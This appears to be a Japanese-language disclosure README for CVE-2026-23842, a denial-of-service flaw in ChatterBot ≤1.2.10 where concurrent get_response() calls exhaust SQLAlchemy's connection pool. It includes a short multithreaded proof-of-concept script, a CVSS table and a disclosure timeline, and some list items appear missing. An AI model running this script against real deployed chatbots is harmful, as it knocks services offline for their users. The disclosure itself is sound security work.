
CVE-2026-23842 — ChatterBot ≤ 1.2.10 における並行 get_response() 呼び出しでの SQLAlchemy 接続プール枯渇によって引き起こされる、深刻度「高」のサービス拒否(Denial-of-Service)脆弱性。
このリポジトリは、ChatterBot における高深刻度のサービス拒否(Denial-of-Service)脆弱性である CVE-2026-23842 の発見と責任ある開示(responsible disclosure)を文書化したものです。
ChatterBot バージョン ≤ 1.2.10 は、不適切なデータベースセッションおよび接続プール管理に起因するサービス拒否状態に対して脆弱です。
以下の同時呼び出し:
get_response()
により、基盤となる SQLAlchemy QueuePool が枯渇し、以下の結果を引き起こす可能性があります:
sqlalchemy.exc.TimeoutError<= 1.2.10
>= 1.2.11
ChatterBot はデータベース連携に SQLAlchemy を利用し、デフォルトの接続プール構成を使用しています。
しかし、以下の問題があります:
複数のスレッドが同時に get_response() を呼び出すと:
TimeoutError を発生させるこれにより、サービス全体の可用性が拒否されます。
from chatterbot import ChatBot
import threading
bot = ChatBot("dos-test")
def attack():
bot.get_response("hello")
threads = []
for _ in range(30):
t = threading.Thread(target=attack)
t.start()
threads.append(t)
for t in threads:
t.join()
以下のビデオは以下を実証しています:
以下のように展開されている場合:
攻撃者は認証なしでリモートからこの状態を引き起こすことができます。
| メトリック | 値 |
|---|---|
| 攻撃元(Attack Vector) | ネットワーク |
| 攻撃複雑性(Attack Complexity) | 低 |
| 必要な特権(Privileges Required) | なし |
| ユーザー操作(User Interaction) | なし |
| 機密性(Confidentiality) | なし |
| 完全性(Integrity) | なし |
| 可用性(Availability) | 高 |
| 日付 | イベント |
|---|---|
| 1月9日 | 脆弱性を報告 |
| 1月13日 | メンテナーが問題を再現 |
| 1月17日 | アドバイザリ公開 |
| 1月19日 | CVE-2026-23842 割り当て |
| 1月21日 | 公開リリース |
発見および責任ある開示:
Aditya Bhatt VAPT スペシャリスト CVE-2026-23842 報告者
本脆弱性は、公開リリース前にメンテナーへ責任を持って開示されました。 パッチ提供前のエクスプロイトは公開されていません。